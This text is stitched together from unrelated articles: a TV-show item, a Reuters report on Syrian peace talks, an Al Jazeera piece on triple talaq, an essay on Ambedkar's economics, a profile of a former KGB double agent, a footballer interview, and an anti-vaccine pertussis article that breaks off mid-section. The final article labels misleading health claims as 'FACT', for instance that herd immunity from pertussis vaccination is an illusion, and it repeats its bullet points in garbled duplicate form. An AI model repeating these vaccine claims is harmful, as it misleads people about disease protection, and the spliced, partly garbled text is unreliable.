Del Toro elaborates that he pitched the idea to exec producer Carlton Cuse over dinner one night. “I was picking up the bill and I didn’t want him to order much, so I told him about the transfer [from creature to creature resulting in The Master’s birth],” Guillermo said. “I told him it should be beautiful and disgusting.”
Cuse chimed in, “I didn’t order the pasta.”
For the next prologue in Episode 2.04 which Del Toro will direct, the scene takes place in a Mexican restaurant and introduces a wrestler character. The moment also serves as a nod to del Toro’s Latin roots.
Look for new episodes every Sunday evening at 10pm on FX. The battle has begun, and evil is spreading. Fight or die!
Member of the High Negotiations Committee (HNC) Mohamed Alloush of the Jaysh al Islam attends a news conference aside of Syria peace talks in Geneva, Switzerland, April 19, 2016. REUTERS/Denis Balibouse
Russia has sought to revive diplomacy since its air force helped the Syrian army and allied militias defeat rebels in Aleppo in December, President Bashar al-Assad’s biggest victory in six years of war.
Despite the announcement of a ceasefire, a weekend of bombings and air strikes in Syria has rattled the talks that began in Geneva last week.
“The Russians did not fulfil a ceasefire agreement despite the promises from the highest levels of the Russian delegation,” Mohammed Alloush, a negotiator and member of the Jaish al-Islam rebel group, told Reuters.
After a two-hour meeting with U.N. mediator Staffan de Mistura, the head of the opposition delegation Nasr al-Hariri said he had submitted two documents protesting against the grim humanitarian situation and violations of the ceasefire.
Hariri said he believed Moscow was shifting its stance but that he wanted to see constructive support on Tuesday.
He pressed for “practical support that manifests itself in backing for the political process and the demands of the Syrian people by putting pressure on the (Syrian) regime to engage seriously in this process.”
Two diplomats said an eventual meeting was likely to include Russia’s Deputy Foreign Minister Gennady Gatilov and Middle East director Sergei Vershinin.
KEEPING THE TALKS ALIVE
Russia, Turkey and Iran have sponsored parallel talks, in the Kazakh capital Astana, where they reinforced the ceasefire. It paved the way for a resumption of U.N.-led mediations after a 10-month hiatus.
Ahead of Thursday’s opening ceremony, Moscow had called for the government to “silence the skies”, but violence has continued and the warring sides have traded blame while appearing no closer to actual negotiations.
De Mistura said a militant attack in Homs on Saturday was a deliberate attempt to wreck the talks.
“The opposition wants to see the Russians to tell them to put pressure on the government or else this process will lead nowhere,” said a Western diplomat.
He said the Syrian government chief negotiator Bashar al-Ja’afari’s refusal to discuss anything beyond countering terrorism at a weekend meeting with de Mistura was a clear indication that Damascus was not committed.
De Mistura, who is treading carefully to keep the talks alive, has so far talked to the two sides separately as he tries to forge an understanding of how to proceed in future rounds.
He wants to get the two sides to accept an agenda that would be based on Security Council resolution 2254, focusing initially on a new constitution, U.N.-supervised elections and accountable governance.
Salma had married in 2010, just after graduating from high school. Her parents were overjoyed when the son of an influential religious leader from their community proposed to her, a humble girl from a poor family. The wedding, she says, was a happy occasion.
After the wedding, Salma left her parental home and went to live with her husband and his family. Her husband was the imam at the nearby mosque and owned a shop that sold religious books. She busied herself with household chores.
But, in the days that followed, their marriage took an unexpected turn. She says her husband and his family turned violent and began to subject her to constant abuse.
"They would beat me up for the pettiest issues," Salma says. "My in-laws always felt that I wasn't worthy of them, and frequently threatened me by saying that my husband would divorce me and marry someone who is equivalent to their status," she told Al Jazeera in a telephone interview.
At times, she says, the family withheld food and medical care as punishment, even from her children.
Salma didn't want to worry her parents, so she kept quiet about the abuse.
"One day my father-in-law convinced my husband to divorce me by uttering the word talaq thrice," she says.
So, a few years into their marriage, Salma's husband threw her out of the house, using the triple talaq to divorce her.
According to this practice, a Muslim man may divorce his wife by speaking the word "talaq", which means "I divorce you", three times in quick succession to her.
The practice has been outlawed in many Muslim majority nations, but is permitted in India under the Muslim Personal Law (Shariat) Application Act 1937 ( PDF ). According to this act, in matters of personal disputes, the state will not intervene and a religious authority will instead pass judgments.
According to a survey conducted by the Bharatiya Muslim Mahila Andolan (BMMA), a women's rights advocacy group, which is campaigning against triple talaq, 59 percent of divorced Indian Muslim women were divorced through triple talaq.
Left to fend for herself and her children, Salma turned to the BMMA for support, after hearing about it from friend who is a member.
Salma's case is just one of those that the BMMA has been highlighting during the Muslim holy month of Ramadan in the hope of drawing attention to the thousands of women rendered destitute because of the practice.
'Ban on oral divorce'
India does not have a uniform civil code. Every religious community has its own set of laws pertaining to personal issues such as marriage, divorce, property, adoption, inheritance and maintenance. While Muslims, Christians, Zoroastrians and Jews have separate personal laws , Hindus, Buddhists, Jains and Sikhs are governed by a single law known as the Hindu Law.
The BMMA has worked in 15 states across India since its establishment in 2007, focusing on socio-economic issues such as the education and livelihoods of women.
The group started an online petition to ban the triple talaq practice. So far, 50,000 Muslim men and women across the country have signed it.
"In the course of our work, we have regularly been approached by our sisters, complaining about mistreatment and misuse of the oral talaq system. In most cases, men go scot-free and believe their action is approved by the Quran," says Zakia Soman, one of the co-founders of the BMMA.
The BMMA has received several reports of women being divorced by husbands who have sent them a triple talaq message via SMS or other forms of digital media.
"None of the Quranic guidelines of discussion, arbitration, witnesses, specified time period or even a genuine attempt to resolve differences are being followed. In such circumstances, the question of alimony or the rights of children doesn't arise," said Zakia in an email to Al Jazeera, explaining why the BMMA is calling for a ban on this type of divorce.
In the course of our work, we have regularly been approached by our sisters, complaining about mistreatment and misuse of the oral talaq system. Zakia Soman, Co founder of BMMA ,
'Figures are false and baseless'
But the All India Muslim Personal Law Board (AIMPLB) - a non-governmental organisation that aims to educate Indian Muslims on the protection and application of Islamic laws, disagrees with the BMMA.
Dr Asma Zehra, a member of the core committee of the AIMPLB, says that triple talaq is not one of the most gripping issues facing the Muslim community in India, and that there are many other significant issues that need to be addressed, such as eradicating poverty, and improving education and livelihoods for women.
"The petition and survey figures which are being provided by BMMA are false and baseless," Zehra says. "If one does not agree with the Muslim Personal Law Board, they are free to get married under the Special Marriage Act."
The Special Marriage Act of 1954 was enacted by the Indian parliament to provide a special form of marriage for the people of India and all Indian nationals in foreign countries irrespective of one's religion or faith. It attempts to protect the rights of individuals from different communities who wish to marry and are not permitted by their respective personal laws.
Although Zehra acknowledged that divorce someone via social media may not be the best way to go about it, she says it is still valid under the Muslim personal law.
"India does not need to revisit [it's] divorce laws," Zehra says.
And she believes the alternatives may not always be better. "Our judiciary is overburdened. Several women have had to wait for years for their [divorce] cases to be heard. The lengthy legal procedures would only multiply social and economic hardships for women."
Reform to Muslim personal law
The Shariat Application Act 1937, which states that Muslims will be governed by Islamic laws, does not, however, clearly define the contents of these laws. This means that codified laws do not exist in disputes dealing with personal law and that the law is open to the interpretation of the religious authorities.
This may explain why the Muslim community is often presented with multiple views on many issues, including triple talaq.
"Women are being divorced for the flimsiest of reasons and denied their basic rights. The Muslim Personal Law Board are given a lot of significance by government institutions and seen as the ultimate representatives of Muslims in the country," says Safia Akhtar, another BMMA member who is working on the triple talaq campaign.
The BMMA has sent a letter to India's prime minister, Narendra Modi, demanding that the Muslim Family Law be codified. "Muslim women have never been heard in matters concerning their lives. Certain orthodox and patriarchal men have dominated the debate on rights of Muslim women and have stone-walled any attempt towards reform," reads the letter, which has been signed by the organisation's members.
Recently, 35-year-old Shayara Bano, who was divorced via a letter, has asked the Indian Supreme Court to declare the triple talaq practice illegal, as she said that it violates her right to life, personal liberty, equality before the law and prohibition against discrimination - fundamental rights enshrined in the Indian constitution ( PDF ).
The Indian Supreme Court has asked the Indian government to file before it the report of a committee which was formed to look into aspects of personal laws in various religious minorities.
Maneka Gandhi, union minister of the Ministry of Women and Child Development , which deals with the matters of rights, care and protection of women and children in India, stated that she does not want to voice an opinion on the triple talaq practice until a consensus emerges on the issue.
The Indian government established The High Level Committee on the Status of Women ( PDF ) in India in May 2013. The committee recommended a ban on the practice of oral, unilateral and triple talaq in a report published in June 2015.
"It makes wives extremely vulnerable and insecure regarding their marital status," the report reads.
Salma is happy that the government is taking action.
"It's the life of a woman that becomes miserable. I want an end to this unilateral divorce practice and my children to get what they deserve," she says. "Fights take place between a husband and wife, but this is no way to resolve it."
Ambedkar later became famous as a relentless critic of the pernicious caste system, an inspiring political leader and the moving spirit of the Indian Constitution, but his early training was as an economist. He had come to Columbia University to study under Edwin Seligman, who also happened to be a friend of Lala Lajpat Rai.
The young scholar would sit for hours in the university library. In his three years at Columbia, Ambedkar took 29 courses in economics, 11 in history, six in sociology, five in philosophy, four in anthropology, three in politics and one each in elementary French and German, according to the Columbia website.
Ambedkar was one of the first generation of professionally trained economists in India. He was also the first Indian political leader with formal training in economics, with research papers published in noted academic journals. He came back from the US in 1916, taught economics at a Mumbai college for three years, and then went to London to do his doctorate at the London School of Economics under Edwin Canaan. The London doctorate was awarded in 1923 and the Columbia one in 1927. He also became a lawyer during his stay in London.
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Ambedkar looked into the problem of the rupee at a time when there was a clash between the colonial administration and Indian business interests on its value. The latter argued that the government was maintaining an overvalued exchange rate to help British exporters who sold their goods in India.
The Congress backed Indian business in calling for a devaluation. London eventually agreed to set up a royal commission in 1925 to examine the matter.
The main focus of the doctoral thesis was on how Indian monetary affairs should be arranged. Ambedkar argued in favour of a gold standard as opposed to the suggestion by John Maynard Keynes that India should embrace a gold exchange standard. His interest in economics, however, was never purely theoretical—it also lay in what implications it had for public policy, as economic historian S. Ambirajan pointed out in a 2001 speech on Ambedkar’s contributions to Indian economics.
In his statement to the royal commission on the rupee, Ambedkar defined the controversy in a way that is relevant today as well: “At the outset, it is necessary to realize that this controversy involves two distinct questions: (i) Should we stabilize our exchange and (ii) What should be the ratio at which we should stabilize?"
The current context is very different, but the way Ambedkar framed the problem is still relevant today: Should the Reserve Bank of India try to defend the rupee and what value should it defend?
Ambedkar eventually argued in favour of a limited devaluation of the rupee, somewhere between the exchange rates that the two competing groups were in favour of: the colonial government representing British business interests that wanted to maintain the existing exchange rate and the Congress speaking for Indian business interests that wanted a cheaper rupee. A cheaper rupee at the end of the 19th century had helped Indian exporters.
His reasoning for such a compromise settlement was fascinating, because it looked at the distributional consequences of exchange rate management.
Ambedkar said that a limited devaluation would help the business class as well as the earning class. A very steep devaluation would harm the latter since they would be hit by high inflation if the fall in the rupee was too steep. In effect, he said that the interests of these two groups should be balanced while thinking of the value of the rupee, because a very steep devaluation would reduce real wages of the earning class because of inflation.
In his statement to the Royal Commission on Indian Currency and Finance, Ambedkar said: “The more important point is, supposing that there is a gain arising from low exchange, whence does this gain arise? It is held by most businessmen that it is a gain to the export trade and so many people have blindly believed in it that it must be said to have become an article of faith common to all that a low exchange is a source of gain to the nation as a whole. Now if it realized that low exchange means high internal prices, it will at once become clear that this gain is not a gain coming to the nation from outside, but is a gain from one class at the cost of another class in the country."
Ambedkar also knew that the problem of the rupee is eventually linked to the problem of domestic inflation. In the preface to the book version of his thesis, he pointed out: “...nothing will stabilize the rupee unless we stabilize its general purchasing power". Ambirajan also pointed out that Ambedkar was clearly in favour of price stability and automatic monetary management (or what may today be termed as rule-based monetary policy).
Much has changed in the Indian economy since Ambedkar did his academic work in monetary economics. But some of his general approach to the problem of the rupee is still relevant: the benefits of depreciation in an open economy, the need to take the distributional consequences into account, the need to maintain price stability in the domestic economy, and the preference for rules over discretion in monetary management.
Ambedkar was very much an economist of his time, firmly wedded to the quantity theory of money and the gold standard.
His views too changed as the years went by, and as he moved closer to socialism. It is unfortunate that he almost abandoned economics after the mid-1920s, though an early paper published in 1918 on the problem of small holdings in Indian agriculture is almost prophetic in its anticipation of several themes in later development economics, including the existence of disguised unemployment in farming. He showed why India needs to industrialize to absorb this surplus labour, in stark contrast to the pastoral vision of his political opponent, M.K. Gandhi.
It is the perfect place to meet a man from the KGB. Boris Karpichkov – former KGB operative and double agent – suggests we meet under the shadow of Marble Arch in central London. I am late. But he is easy to spot: a gaunt, thin, pale figure with the slightly haunted look of someone who has spent their career in the twilight world of espionage.
Since fleeing to Britain in the late 1990s Karpichkov has preferred to keep a low profile – unlike another, better known Moscow agent who fled to London, one Alexander Litvinenko. Now, with the KGB's most famous graduate, Vladimir Putin, about to get his old Kremlin job back, can Karpichkov shed light on the murky world of Russian spying?
Born in 1959 in Soviet Latvia, Karpichkov grew up in a patriotic communist family and became a mechanical engineer. The KGB approached him when he was working in a factory making parts for the aerospace industry. He enrolled at the KGB's academy in Minsk in 1984, learning, among other things, how to shoot, and how to kill with his bare hands. He was assigned to the Riga branch of the KGB's prestigious Second Directorate, specialising in counter-intelligence. He reached the rank of Major.
After the Soviet collapse, Karpichkov stayed in Latvia, now independent and at odds with Moscow, and joined Latvia's new intelligence service. Secretly, however, he continued to supply information to the KGB – renamed the Federal Security Service or FSB.
For three years he was a classic double agent. He says he broke into and planted bugs in the British embassy in Riga. He ran audacious disinformation operations against the CIA. He still has the tools of his trade: skeleton keys used for breaking into the flats of targets (small pieces of metal that might be mistaken for a bicycle repair kit), and a wide-range "scanner", which looks like a chunky walkie-talkie, for eavesdropping.
But in 1995 Karpichkov's problems began. He grew unhappy with the increasingly corrupt FSB, which, he says, failed to pay him. The Latvians began to suspect, correctly, that he was working for the Russians. Back in Russia with his cover blown, he spent several months in a Moscow prison before slipping into Britain on one of the false passports he was given as a KGB officer. He hasn't been back to Russia or Latvia since.
In exile in Britain, Karpichkov has written a colourful memoir about his time in the KGB, for which he is now seeking a publisher. In it, he recounts his own clandestine adventures – operations involving psychotropic drugs, an order to kill (he says he didn't carry it out) and the time when one of his targets – a visiting Japanese military attache – realised he was under surveillance. The attache erected a small tent in the middle of his hotel bedroom. "He was well trained," Karpichkov says. Standard FSB protocol was to hide bugs everywhere, he says, including in the bathroom and the bedroom: "Our motto was to know everything." East Germany's notorious secret police, the surveillance-obsessed Stasi, used the same slogan.
Britain is an obvious target for Russian espionage, given the large number of Russians who live and work here. After defecting, Karpichkov needed a new outlet for his talents. He mounted undercover commercial investigations into several high-profile Russians living in London including, he says, Boris Berezovsky and Roman Abramovich. He also found himself drawn to the Kremlin's overseas spying operation in London. At one point he infiltrated a pro-Putin youth group, Marching Together (later renamed Nashi), as it sought to undermine and discredit Russian exiles opposed to the Putin regime. The group's key targets included Litvinenko, the Chechen separatist leader Akhmed Zakayev and Boris Berezovsky, the oligarch and Putin critic embroiled in a colourful high court litigation battle with Roman Abramovich.
Karpichkov agrees with the head of MI5, Jonathan Evans, that the number of undeclared Russian intelligence officers in London hasn't decreased since the end of the cold war. "Britain is a prime target for Russian intelligence services," Karpichkov says. In the years after 9/11, Britain's security services turned their attention to combating Islamist extremism. They assumed that the Russians would do the same, and scale back their operations in the UK.
They didn't.
But it is an open question how successful much Russian espionage actually is. The Russian deep-cover agents exposed in the US in 2010, including the glamorous Anna Chapman, now a cheerleader for Putin's United Russia party, seemed more bungling than sinister. Similarly, many of the Kremlin's British operations, apparently aimed at influencing public opinion, come across as primitive and ridiculous.
In 2004, Karpichkov met two Nashi representatives sent by Moscow to London – "Alvis" and "Irina". He didn't reveal his real identity. "Alvis" and "Irina" paid demonstrators £4.50 an hour in cash to take part in various pro-Kremlin rallies in London: one against Zakayev, another against Anna Politkovskaya, murdered two years later by an unknown hitman in the stairwell of her Moscow apartment.
According to Karpichkov, Nashi also targeted the actor and political activist Vanessa Redgrave, a close friend and supporter of Zakayev's. In late 2004 the pro-Kremlin group organised a fake "demonstration" in a park close to her Chiswick home. That evening unknown intruders damaged her front door. Redgrave complained to police. Karpichkov alleges that the damage was caused by elements within Nashi. He also claims Kremlin activists were behind an October 2004 attack on the neighbouring Muswell Hill homes of Litvinenko and Zakayev; someone lobbed molotov cocktails into their gardens.
And what of Litvinenko's polonium murder in November 2006, killed by a cup of radioactive tea? Karpichkov says he has no doubt that his old employer, the FSB, was behind it. He also says that he warned the British intelligence services via intermediaries that Litvinenko's life was in danger. The agency politely ignored his advice, he says – a "negligent" decision that allowed a Russian hit squad to kill him.
Karpichkov also claims that a Russian diplomat based at the Russian embassy in Kensington, west London, was involved in the Litvinenko operation and died mysteriously afterwards.
The three men who allegedly poisoned Litvinenko – Andrei Lugovoi, Dmitry Kovtun and Vyacheslav Sokolenko – are all former members of the KGB's Ninth Directorate. According to Karpichkov, other KGB departments regarded "niners" as little more than jumped-up bodyguards, providing protection to top Kremlin officials. He believes someone else – an unidentified fourth person – flew to London to mastermind Litvinenko's poisoning. They then flew out again. "It [an overseas assassination] is quite a sophisticated process. They would have needed someone with brains," he explains.
These days Karpichkov tries to keep a low profile. He writes, stays in touch with events in Russia and vanishes now and again on mysterious trips whose purpose he declines to explain. But, I suspect, he is never able to relax.
Unsurprisingly, Russian agents working at the London embassy keep an eye on him, he says. There have been anonymous death threats, bugging and cars with Russian diplomatic plates repeatedly parked outside his London flat. Old habits of suspicion are hard to shake.
After we meet at Marble Arch, we go to a nearby cafe; Karpichkov, however, suspects that someone sitting at the next table is listening in; we leave and stroll instead among Hyde Park's plane trees. Karpichkov is used to exile now but my sense is that even after a decade in London he has to live by Moscow rules – to accept that he will never be able to relax fully, or to forget his old instincts and training in counter-surveillance. We exchange emails over a period of several months after our initial meeting. Karpichkov, it turns out, knows a huge amount: about Russia's murky arms sales abroad, for example. He is intelligent, and a first-class analyst – but, of course, he has no one to report to.
Karpichkov says he is "no way scared". But he confesses he is now "dead tired" of the exhausting world of espionage, and concerned for the safety of his wife and grownup children. It strikes me that his story has little in common with the glamorous fantasies of James Bond. It is more similar to the drab, amoral universe of John Le Carre, with its lack of heroes, and atmosphere of slow, psychological attrition.
And what of rich Russians buying up British institutions? Chelsea FC, Waterstones, the Evening Standard and Independent newspapers are all now owned by wealthy Russians. Karpichkov is scathing about Alexander Lebedev, the billionaire turned British press baron, who worked as a KGB spy in London during the Gorbachev period. Lebedev's son, Evgeny, acquired British citizenship in 2010 and lives in London. "Lebedev pretends he is a liberal in Russia," Karpichkov says. "But we have a saying that he [Lebedev] will never piss against the wind." The wind of course is Putin. Putin, meanwhile, is certain to win Russia's presidential "election" next month, despite the biggest protests against his rule since the fall of the Soviet Union. So far he has made few concessions to the demonstrators, whom he has dismissed as western stooges.
As for Karpichkov, his application for asylum was rejected by the authorities, and it was only in 2010 that he finally got a British passport and permission to remain, a decade after he arrived in the UK.
Karpichkov says he is unimpressed by the way that MI5 last year tried to deport Katia Zatuliveter, the 26-year-old parliamentary aide and lover of the Liberal Democrat MP Mike Hancock. The home secretary Theresa May accused Zatuliveter of spying for Moscow, and tried to deport her on the grounds she was a threat to national security. "They looked like stupid little amateurs," he says of MI5, which failed to convince a special tribunal that Zatuliveter was shipping British secrets to Moscow. "If you are trying to prove a case you need to have strong evidence," he says, adding that he doesn't think Zatuliveter was ever a "classic staff agent". Nor does he believe she was on the payroll of the FSB, or the SVR, Moscow's foreign intelligence service. (The two agencies are fierce rivals, with the FSB authorised by Putin to conduct its own secret missions – and assassinations – abroad.)
Raheem Sterling insists he is happy to shoulder the goalscoring burden at Liverpool FC.
And the Reds star believes he is adapting well to his new striking role.
Sterling’s goal ensures Liverpool will go into the second leg of their Capital One Cup semi final with Chelsea next week with a fighting chance, after a 1-1 draw at Anfield on Tuesday night.
The 20-year-old has flourished in recent weeks after being deployed as a centre forward in Brendan Rodgers’ 3-4-2-1 system, and says he is enjoying the responsibility which comes with such a role.
“It’s a role that I am learning and adapting to,” Sterling said. “But if you want to be a good player, it is something you’ve got to do, you’ve got to adapt and play in different positions.
“I want to learn as much as I can, and I’m enjoying it at the moment. It’s good for me.”
Sterling’s goal against Chelsea, a fine individual effort, was his seventh of the season in all competitions. The England forward managed 10 for Liverpool last season, and says he has set himself a personal target for this campaign – though he would not reveal the exact figure.
“I have personal goals, but I don’t want to share them in case I don’t reach them!” he said. “I always set myself goals and standards that I want to meet, and this season is no different.
“When I get in front of goal, sometimes I can get a bit excited thinking I’ve done it all. But I just have to keep focused, and work hard to try and take my game to the next level by getting more goals and assists.”
He added: “I want to get on the ball as much as possible. As long as it’s not too high in the air, I will fight for it and try to make something happen.
“It’s good to play with players like Adam (Lallana) and Philippe (Coutinho) who like to get on the ball and try to create for you. I enjoy being on the receiving end of their great play and trying to finish off the chances they create.”
Sterling believes Liverpool have given themselves a chance of reaching a Wembley final against either Tottenham or Sheffield United after their first-leg performance, but says Saturday’s FA Cup fourth round tie at home to Bolton Wanderers is now the Reds’ only focus.
“That’s the most important game now,” he said. “Hopefully we can get the win there, then go into next week’s game at Stamford Bridge and get the result we need.
“We played very well against Chelsea, and were really composed. The other young lads like Emre (Can) and Lazar (Markovic) did really well. They were comfortable on the ball and really assured.
Pertussis Microbe Outsmarts the Vaccines As Experts Argue About Why
By Barbara Loe Fisher
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For the past decade, Americans have been subjected to dire warnings that B. pertussis whooping cough cases are on the rise and it is the fault of parents who don’t vaccinate their children. 1 2 3 That myth actually goes back to the early 1980’s, 4 when parents of DPT vaccine injured children in the U.S. were asking for a safer pertussis vaccine while, at the same time, discovering that whole cell pertussis vaccine in DPT shots did not prevent infection 5 and vaccine immunity lasted for only two to five years. 6 7
The same old excuse - “it’s the parent’s fault” - is being invoked again in the 21st century by forced vaccination proponents who want to eliminate vaccine exemptions, 8 9 10 11 just as another generation of parents are discovering that acellular pertussis vaccine in DTaP shots also does not prevent infection 12 13 14 and vaccine immunity is waning, lasting at best for two to five years. 15 16 17
Time to Dispel Myths and Lies About Pertussis and Pertussis Vaccines
What’s old is new again. And it is time to dispel the myths and lies being told about pertussis and pertussis vaccines.
In brief:
FACT: Both the reactive whole cell DPT vaccine licensed 1949 and the less toxic acellular DTaP vaccine licensed in 1996 do not prevent infection or transmission, and only provide two to five years of temporary immunity at best;
Both the reactive whole cell DPT vaccine licensed 1949 and the less toxic acellular DTaP vaccine licensed in 1996 do not prevent infection or transmission, and only provide two to five years of temporary immunity at best; FACT : Millions of vaccinated children and adults are silently infected with pertussis in the U.S. every year and show few or no symptoms but spread whooping cough to vaccinated and unvaccinated children - without doctors identifying or reporting cases to the government;
: Millions of vaccinated children and adults are silently infected with pertussis in the U.S. every year and show few or no symptoms but spread whooping cough to vaccinated and unvaccinated children - without doctors identifying or reporting cases to the government; FACT : In response to mass pertussis vaccination campaigns beginning in the 1950s, the B. pertussis microbe evolved to evade both whole cell and acellular pertussis vaccines, creating new strains producing more toxin to suppress immune function and cause more serious disease.
Now, here is the rest of the story in more detail:
High Child Pertussis Vaccination Rates in U.S. for 35 Years
Child pertussis vaccination rates in the U.S. have remained very, very high for the past 35 years. 18 Consistently, more than 94 percent of kindergarten children have had four to five pertussis-containing shots either in whole cell DPT or acellular DTaP vaccines. 19 There is a 94 percent pertussis vaccination rate for children under 35 months old20 and, today, 88 percent of teenagers attending high school have gotten a sixth pertussis booster shot. 21
That’s a lot of pertussis vaccination going on in America for a long time among children of all ages, many of whom are now adults in their 20s, 30s and 40s. So why are public health officials reporting that large numbers of fully vaccinated pre-schoolers in Florida, 22 and fully vaccinated teenagers in California, 23 and fully vaccinated sisters and brothers of newborn infants are spreading pertussis whooping cough - 24 even though most have gotten every pertussis shot recommended by the CDC?
Before we examine why the experts are fighting with each other about the answer to that question, let’s do a quick review of the history of pertussis and pertussis vaccine.
DPT Licensed in 1949 and DTaP in 1996 for U.S. Babies
B. pertussis whooping cough has been around since at least the 16th century, and it can be especially serious for babies who cannot breathe when the sticky mucous produced by the gram negative bacteria clogs their tiny airways. 25 26 The first crude whole cell pertussis vaccine was licensed in 1914, 27 but was not given widely to children until after 1949, when it was combined with diphtheria and tetanus vaccines into the DPT shot 28 and used until 1996, when a less reactive DTaP vaccine was licensed in the U.S. 29
By 2014, public health officials reported that 86 percent of the world’s children had gotten at least three pertussis shots, 30 but estimate there are still about 16 million pertussis cases and 195,000 pertussis-related deaths every year globally. 31
75% Drop in Pertussis Deaths Before DPT Licensed in 1949
But what about deaths in the U.S. from pertussis whooping cough?
In our country, deaths from pertussis infections dropped by more than 75% between 1922 and 1948, the year before the DPT vaccine was licensed. In 1948, the mortality rate was less than 1 pertussis death per 100,000 persons and would never be higher than that again. 32 33 In 2013, there were about 29,000 reported pertussis cases and 13 pertussis-related deaths in America, with nine of those deaths in infants under age one. 34
However, reported numbers of pertussis cases do not match the total number of actual cases of pertussis that are happening in America. Most pertussis cases, like most vaccine reactions, are not being diagnosed or reported by doctors to the government. 35 Public health officials admit they still don’t have reliable lab tests to measure pertussis immunity and can’t agree about how to diagnose pertussis when infected people, especially vaccinated people, show up in doctor’s offices with mild symptoms.36 37 38
Millions of U.S. Pertussis Cases in Vaccinated Persons Not Identified or Reported
But what public health officials have known for a long time - and do not publicly talk about – is that millions of vaccinated children and adults living in the U.S. get pertussis whooping cough and are never identified. 39 40 41 42 That’s right: there are millions of pertussis infections going on in America among vaccinated people but doctors are not diagnosing or reporting them.
In fact, whether you or your child have been vaccinated or not, you can get a silent asymptomatic pertussis infection and transmit it to someone else without even knowing it. 43 44 45 That child or adult sitting next to you in the bus, classroom, movie theater or doctor’s office, who has a little cough or no cough at all, could be infected with B. pertussis whooping cough, even though he or she has gotten every federally recommended dose of pertussis vaccine.
No Herd Immunity: Vaccines Do Not Block Infection, Carriage or Transmission
When there are a lot of people with silent asymptomatic pertussis infections, it is impossible to know who is a carrier and who is not, which means that reported cases of pertussis are just the tip of a very big iceberg. It also means that articles blaming whooping cough cases on unvaccinated or partially vaccinated children are nothing more than wishful thinking and scapegoating. 46
Bottom Line: Both natural and vaccine acquired immunity is temporary 47 and while vaccination may prevent clinical symptoms, it does not block infection, carriage or transmission. If vaccinated people can get silently infected and transmit infection without showing any symptoms – even after getting four to six pertussis shots - then pertussis vaccine acquired “herd immunity” is an illusion and always has been.
So the big question is: Why has more than a half-century of pertussis vaccination failed to produce true herd immunity like public health officials insist it theoretically can if only more and more pertussis shots are given to more people more of the time? 48 49
Extremely Reactive DPT and Less Reactive DTaP both Have Low Efficacy
The answer is simple and the emerging scientific evidence is compelling: the B. pertussis microbe has evolved over the past 65 years to evade whole cell and acellular pertussis vaccines, which drug companies have marketed and medical doctors have aggressively promoted in a crusade to kill a species of bacteria they still know very little about. 50 51 A review of the medical literature reveals that the
experts are unhappy with how much they still don’t know about the B. pertussis microbe 52 and are arguing with each other about if, when, how and why pertussis vaccines have consistently failed to do the job of achieving herd immunity to prevent B. pertussis whooping cough from circulating in highly vaccinated populations around the world.53 54 55
The inconvenient set of scientific facts they have to work with are these:
FACT: The efficacy of whole cell pertussis vaccine in the DPT shot was measured to be between 30 and 85 percent, depending upon the type of DPT and vaccine manufacturer, 56 57 58 59 60 and protection lasted two to five years. 61
The efficacy of whole cell pertussis vaccine in the DPT shot was measured to be between 30 and 85 percent, depending upon the type of DPT and vaccine manufacturer, and protection lasted two to five years. FACT: After a low of about 1,000 cases of pertussis were reported in the U.S in 1976, 62 it was obvious all through the1980s and 90’s that whole cell pertussis vaccine in DPT shots was not preventing infection or transmission. 63 64 65 66 67 Pertussis cases increased in highly vaccinated populations in cycles of three to five years - just like before DPT vaccine was widely used in the 1950s. 68 69 70 71 72
After a low of about 1,000 cases of pertussis were reported in the U.S in 1976, it was obvious all through the1980s and 90’s that whole cell pertussis vaccine in DPT shots was not preventing infection or transmission. 64 Pertussis cases increased in highly vaccinated populations in cycles of three to five years - just like before DPT vaccine was widely used in the 1950s. FACT: The whole cell DPT vaccine used until the late 1990’s in the U.S. was an extremely reactive vaccine. DPT vaccine reactions like fever, pain, and irritability were experienced by between 50 and 85 percent of children and seizures and collapse/shock reactions followed one in 875 DPT shots. 73 74 Brain inflammation was reported following 1 in 110,000 DPT shots with permanent brain damage after 1 in 310,000 DPT shots. 75 76 Finally, in 1996, the marginally effective and extremely reactive whole cell DPT vaccine was replaced with a far less reactive but marginally effective acellular DTaP vaccine. 77 Similar to whole cell pertussis vaccines, acellular pertussis vaccine efficacy in clinical trials was measured to be between 40 and 89 percent, depending upon the DTaP vaccine manufacturer. 78 79 80
The whole cell DPT vaccine used until the late 1990’s in the U.S. was an extremely reactive vaccine. DPT vaccine reactions like fever, pain, and irritability were experienced by between 50 and 85 percent of children and seizures and collapse/shock reactions followed one in 875 DPT shots. Brain inflammation was reported following 1 in 110,000 DPT shots with permanent brain damage after 1 in 310,000 DPT shots. Finally, in 1996, the marginally effective and extremely reactive whole cell DPT vaccine was replaced with a far less reactive but marginally effective acellular DTaP vaccine. Similar to whole cell pertussis vaccines, acellular pertussis vaccine efficacy in clinical trials was measured to be between 40 and 89 percent, depending upon the DTaP vaccine manufacturer. FACT: Acellular pertussis vaccines do not prevent infection, 81 82 just like whole cell pertussis vaccines do not prevent infection. In the 21st century, pertussis outbreaks and cyclical increases have continued, 83 84 85 – even after a pertussis booster shot was added to the schedule for all adolescents and adults in 2006. 86 87 By 2010, the Tdap pertussis booster shot was found to be only about 66 percent effective in providing temporary immunity for teenagers and adults. 88
Pertussis Microbe Evolved to Evade Both DPT and DTaP Vaccines
Eighteen years ago, in 1998, molecular biologists and other basic science researchers began warning that the B. pertussis microbe started to evolve to evade whole cell pertussis vaccine after DPT shots were given on a mass basis to children in the 1950’s.89 90 91 92 For the past two decades, these bench scientists have been publishing hard evidence that over the past 65 years, B. pertussis bacteria have efficiently adapted to both whole cell and acellular pertussis vaccines. 93 94 95
New Pertussis Strains with More Toxin Causing More Serious Disease
In a fight to survive, the B. pertussis microbe has created new strains that produce more pertussis toxin to suppress the human immune system and cause more serious disease. Today, the pertussis strains included in the vaccine no longer match the pertussis strains causing whooping cough disease.96 97 98 99 100
Bottom line: There is compelling scientific evidence that B. pertussis bacteria have evolved to survive vaccine pressure. Now, there are more virulent pertussis strains that are more efficiently transmitted by vaccinated children and adults with waning immunity.
As one research scientist commented in 2009, “An important question is whether other childhood vaccines also select for pathogens that are more efficiently transmitted by primed hosts, resulting in increased virulence.” 101
War on B. Pertussis Bacteria & Vaccine Policies Not Driven By Hard Science
